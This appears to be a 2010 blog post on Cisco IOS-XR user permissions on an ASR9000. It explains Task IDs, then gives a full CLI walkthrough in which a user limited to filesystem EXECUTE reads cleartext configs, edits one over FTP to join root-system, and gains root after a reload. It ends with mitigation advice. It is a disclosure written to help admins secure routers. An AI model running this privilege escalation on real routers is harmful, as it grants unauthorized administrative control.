During the last week i'm experimenting with an ASR9000 and IOS-XR and here is something tricky i found out yesterday.
You may already know that IOS-XR uses a different concept for users' permissions. In IOS you have users and privilege levels, while in IOS-XR you have Users, User Groups, Task Groups and Task IDs. In general, the operational tasks that enable users to control, configure, and monitor the router are represented by Task IDs. A Task ID defines the permission needed to perform a command. Users are associated with sets of Task IDs that define the capabilities of their authorized access to the router. More specifically:
Users belong to User Groups
User Groups include various Task Groups
Task Groups define Read/Write/Execute/Debug Task IDs
Task IDs correspond to specific CLI commands
By following the above relationship in reverse order you end up with the required configuration.
1) In order to find the corresponding Task ID for a cli command, you can execute the "describe" command followed by the CLI command you're interested to.
RP/0/RSP0/CPU0:asr9k#describe show interfaces
The command is defined in show_interface.parser
Node 0/RSP0/CPU0 has file show_interface.parser for boot package /disk0/asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm from asr9k-base
Package:
asr9k-base
asr9k-base V3.9.1[00] Base Package for ASR9K
Vendor : Cisco Systems
Desc : Base Package for ASR9K
Build : Built on Sun May 2 09:32:03 EET 2010
Source : By sjc-lds-511 in /auto/srcarchive4/production/3.9.1/asr9k/workspace for c4.2.1-p0
Card(s): RP, RP-B, HRP, OC3-POS-4, OC12-POS, GE-3, OC12-POS-4, OC48-POS, E3-OC48-POS, E3-OC12-POS-4, E3-OC3-POS-16, E3-OC3-POS-8, E3-OC3-POS-4, E3-OC48-CH, E3-OC12-CH-4, E3-GE-4, E3-OC3-ATM-4, E3-OC12-ATM-4, E5-CEC, E5-CEC-v2, SE-SEC, NP24-4x10GE, NP24-40x1GE, NP40-40x1GE, NP40-4x10GE, NP40-8x10GE, NP40-2_20_COMBO, NP80-8x10GE, NP80-16x10GE, LC, E3-OC12-CH-1, E7-CEC, A9K-SIP-700
Restart information:
Default:
parallel impacted processes restart
Component:
pfi-im-cmd V[r39x/4] PFI show commands
File:
show_interface.parser
Card(s) : RP, DRP, SC
File type : Default
Remotely-hosted : No
Local view : /pkg/parser/show_interface.parser
Local install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser
Central install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser
User needs ALL of the following taskids:
interface (READ)
It will take the following actions:
Spawn the process:
show_interface -a
So, for the "sh int" command you need to have access to the "interface (READ)" Task ID. Keep in mind that Task IDs grant permission to perform certain tasks; Task IDs do not deny permission to perform tasks.
2) You create a new Task Group and put the above Task Id under it.
taskgroup TEST-TASKGROUP
task read interfaces
3) You create a new User Group and put the above Task Group under it.
usergroup TEST-USERGROUP
taskgroup TEST-TASKGROUP
4) You create a new user and put the above User Group under it.
username TESTUSER
group TEST-USERGROUP
Now, when the above user logs in, he will have access only to specific commands that are associated with this Task ID (plus some others which are enabled by default). Also, he will be able to see the configuration of all interfaces.
Before the Task ID was enabled:
RP/0/RSP0/CPU0:asr9k#sh int ?
% This command is not authorized
After the Task ID was enabled:
RP/0/RSP0/CPU0:asr9k#sh int ?
ATM ATM Network Interface(s)
Bundle-Ether Aggregated Ethernet interface(s)
Bundle-POS Aggregated POS interface(s)
FastEthernet FastEthernet/IEEE 802.3 interface(s)
GigabitEthernet GigabitEthernet/IEEE 802.3 interface(s)
...
IOS-XR uses at least 2 running configurations on the ASR9000. The first one is called admin running configuration and you have to enter admin EXEC mode in order to view or change it. The other is called SDR running configuration and it is like the one that IOS uses (actually you have one running configuration per Secure Domain Router (SDR), but only one SDR is available on the ASR9000).
Only users with root-system privileges can access the administration modes by logging in to the RSP for the owner SDR (called the designated shelf controller (DSC)). Administration modes are used to view and manage system-wide resources and logs. Users with root-system privileges have access to system-wide features and resources. The root-system user is created during the initial boot and configuration of the router.
Now, let's suppose you are a root user and you want to allow a user to check the contents of a directory or a file. The "filesystem" Task ID is the one that will allow the user to execute the "dir" and "more" commands.
RP/0/RSP0/CPU0:asr9k#describe more nvram:classic-rommon-var
...
User needs ALL of the following taskids:
filesystem (EXECUTE)
...
The following user is allowed to do only that.
RP/0/RSP0/CPU0:asr9k#sh user
test
RP/0/RSP0/CPU0:asr9k#sh user tasks
Task: filesystem : EXECUTE
With a little bit of searching on the available filesystems, you'll find out that this particular user can also view both the SDR and admin configurations in their full glory! These files are stored in clear text (ASCII) too, so
everyone with access on the execute operation of the filesystem Task ID can also have access to their contents.
RP/0/RSP0/CPU0:asr9k#dir disk0:config/admin
Directory of disk0:/config/admin
6810 -rw- 416 Sat Sep 11 18:32:51 2010 admin_nonlr.bin
6811 -rw- 416 Sat Sep 11 18:32:51 2010 admin.bin
9418222 -rwx 307 Sat Sep 11 17:37:09 2010 admin.cfg
6813 -rwx 307 Sat Sep 11 18:32:50 2010 last_used.cfg
1644150784 bytes total (1175237120 bytes free)
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
...
RP/0/RSP0/CPU0:asr9k#dir disk0:config/running/alternate_cfg
Directory of disk0:/config/running/alternate_cfg
3991330 -rwx 11312 Sun Sep 12 01:53:25 2010 router.cfg
3991331 -rwx 7558 Tue Sep 7 22:09:15 2010 last_used.cfg
RP/0/RSP0/CPU0:asr9k#more disk0:config/running/alternate_cfg/router.cfg
!! IOS XR Configuration 3.9.1
!! Last configuration change at Sun Sep 12 00:50:30 2010 by xxx
...
The above is not exactly the running configuration, it's like a "backup" one (or a secondary one) which seems to get synced to the actual (or primary) running configuration in special cases, like when you do a reload or activate a package. You can find the actual SDR configuration (in clear text too) under "disk0:/config/lr/running/nvgen" split in various parts:
RP/0/RSP0/CPU0:asr9k#dir disk0:config/lr/running/nvgen
Directory of disk0:/config/lr/running/nvgen
3992098 -rw- 100 Sun Sep 12 21:47:51 2010 nv_cur.cfg
3992099 -rw- 0 Sun Sep 12 21:20:11 2010 sh_admin.cf2
3992100 -rw- 1358 Sun Sep 12 21:47:50 2010 sh_os.cf2
3992101 -rw- 3220 Sun Sep 12 21:20:11 2010 sh_base.cf2
3858651 -rw- 0 Sun Sep 12 21:20:11 2010 sh_base_placed.cf2
3858657 -rw- 74 Sun Sep 12 21:47:50 2010 sh_p_domain_services.cf2
3992104 -rw- 4 Sun Sep 12 21:47:50 2010 sh_p_cdp_mgr.cf2
3858658 -rw- 0 Sun Sep 12 21:20:11 2010 sh_p_ip_expl_paths_daemon.cf2
3858659 -rw- 0 Sun Sep 12 21:20:11 2010 sh_p_rt_check_mgr.cf2
3858660 -rw- 0 Sun Sep 12 21:20:11 2010 sh_p_ipv4_rib.cf2
3992108 -rw- 28 Sun Sep 12 21:47:51 2010 sh_p_arp_gmp.cf2
...
i.e. to see the current access lists:
RP/0/RSP0/CPU0:asr9k#more disk0:config/lr/running/nvgen/sh_fwd_acl.cf2
ipv4 access-list 9
10 permit ipv4 10.21.8.0 0.0.0.255 any
....
In case you have some level 7 passwords into the running configuration (something you should avoid doing since you have the "secret" option), then you're probably risking a lot, because these can be easily decrypted. Luckily, admin configuration doesn't allow such passwords.
What is more interesting is that
the execute permission of the filesystem Task ID allows the user to also copy/overwrite a file (some configuration files are not allowed to be deleted, while some others are recreated "automatically" while doing a reload).
Here comes the tricky part...
There are some variables in ROM Monitor mode, that you can use in order to change the paths and names of configuration files, bypassing the normal startup procedure which by default loads the primary (binary) configuration.
i.e. permanently change the location of the default admin configuration file:
IOX_ADMIN_CONFIG_FILE=drive:path/file
i.e. permanently change the location of the router configuration file:
IOX_CONFIG_FILE=drive:path/file
i.e. permanently change the default location where configuration files are saved:
IOX_CONFIG_MEDIUM=drive:path
Using the "set" command while in rommon will display their current values:
rommon B1 > set
...
IOX_ADMIN_CONFIG_FILE=
IOX_CONFIG_FILE=
IOX_CONFIG_MEDIUM=
...
Again, all the above rommon variables are saved in clear text too, so the test user can still find them by simply executing the "more" command from the CLI.
RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , ? = 0, IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@
Now let's change IOX_CONFIG_FILE to point to a new configuration file. It doesn't really matter where the file is saved.
rommon B2 > IOX_CONFIG_FILE=disk0:running-config
rommon B3 > sync
rommon B4 > reset
Nothing different until now. The test user can still find and see the running-config as "expected":
RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, ? = 0, IOX_CONFIG_FILE = disk0:running-config, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg
= 0x2102^@
RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...
Test user is still a member of the TESTGROUP User Group, which has limited access.
RP/0/RSP0/CPU0:asr9k#sh user tasks
Task: filesystem : EXECUTE
Step 1 : Test user copies the running configuration to a ftp server:
RP/0/RSP0/CPU0:asr9k#copy disk0:running-config ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
11314 bytes copied in 0 sec
Step 2 : Test user changes the contents of the above file in order to make himself member of the root-system User Group and uploads it in the same path as the original configuration, overwriting it.
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:running-config
Destination filename [/disk0:/running-config]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
11311 bytes copied in 0 sec
Step 3 : Test user verifies that his changes are actually on the uploaded file:
RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...
username test
group root-system
Step 4 : A little bit later a Root user makes a reload and voila!
Test user gets root access!
RP/0/RSP0/CPU0:asr9k#sh user
test
RP/0/RSP0/CPU0:asr9k#sh user tasks
Task: aaa : READ WRITE EXECUTE DEBUG
Task: acl : READ WRITE EXECUTE DEBUG
Task: admin : READ WRITE EXECUTE DEBUG
Task: ancp : READ WRITE EXECUTE DEBUG
Task: atm : READ WRITE EXECUTE DEBUG
Task: basic-services : READ WRITE EXECUTE DEBUG
Task: bcdl : READ WRITE EXECUTE DEBUG
Task: bfd : READ WRITE EXECUTE DEBUG
Task: bgp : READ WRITE EXECUTE DEBUG
The above happens only when you have set the rommon variable to use a different configuration file.
Exactly the same thing can happen for the admin configuration too. It's even easier there, because you can just upload a new file and overwrite the current one, without having to change the rommon variables. Then you'll get root access to the admin mode, which means you have admin access to the SDR too.
RP/0/RSP0/CPU0:asr9k#sh user task
Task: filesystem : EXECUTE
RP/0/RSP0/CPU0:asr9k#admin
% This command is not authorized
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
group root-system
secret 5 xxx
!
end
RP/0/RSP0/CPU0:asr9k#copy disk0:config/admin/admin.cfg ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
384 bytes copied in 0 sec
!! IOS XR Admin Configuration 3.9.1
username root
group root-system
secret 5 xxx
!
username test-root
group root-system
secret 5 xxx
!
end
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:config/admin/admin.cfg
Destination filename [/disk0:/config/admin/admin.cfg]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
465 bytes copied in 0 sec
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
group root-system
secret 5 xxx
!
username test-root
group root-system
secret 5 xxx
!
end
...
RP/0/RSP0/CPU0:asr9k#sh user
test-root
RP/0/RSP0/CPU0:asr9k#sh user task
Task: aaa : READ WRITE EXECUTE DEBUG
Task: acl : READ WRITE EXECUTE DEBUG
Task: admin : READ WRITE EXECUTE DEBUG
Task: ancp : READ WRITE EXECUTE DEBUG
Task: atm : READ WRITE EXECUTE DEBUG
Task: basic-services : READ WRITE EXECUTE DEBUG
Task: bcdl : READ WRITE EXECUTE DEBUG
...
RP/0/RSP0/CPU0:asr9k#admin
RP/0/RSP0/CPU0:asr9k(admin)#
What seems strange to me is that the primary configuration in IOS-XR is stored in binary (SysDB) format (you can find it in the same path as above) and the secondary one (which is in ASCII format) should be used only in case of emergency (corruption?). I guess a possible inconsistency between these 2 configurations after the reload, makes the ASCII configuration override the binary one. Keep in mind that while doing the reload, there are no warning messages about configuration inconsistencies.
Admin mode
If the actual admin executes "clear configuration inconsistency" or "cfs check" while in admin mode, the ASCII configuration you just uploaded will be updated by the current running configuration, so the changes will be lost. But,
if a reload is executed from admin mode without first giving the above commands, then the test user will get root access after the reload.
SDR mode
If a reload is executed while on SDR, regardless of whether the above two commands are executed too, then there won't be any effect on the admin configurations and the test user will again get root access after the reload. After all, how often do you use the admin EXEC mode?
Imho, filesystem permissions should get re-organized. Critical files or "dynamic" paths where critical files reside should be available under a new Task ID.
Until the above is fixed, you should not allow every user to use the filesystem Task ID, unless there is absolute need to give the above permissions.
If you want to have better control of your users' permissions you should think of using an external aaa server (i.e. tacacs) and apply attributes that restrict them in executing specific commands with specific arguments.
Notes:
1) The availability of configuration modes always depends on the software packages that are installed on your system and on the router platform that you are using.
2) You can find a list of all Task IDs under IOS-XR 4.0 and their required permissions
here.
3) I'm sure someone else will know a lot more about the IOS-XR internals (after all, everything written above was found by one week's experimentation). Please feel free to submit any corrections.
4) If you happen to have some extra permissions regarding utilities, then you can probably modify the configuration files online, by using xargs,perl,vim.
Posts
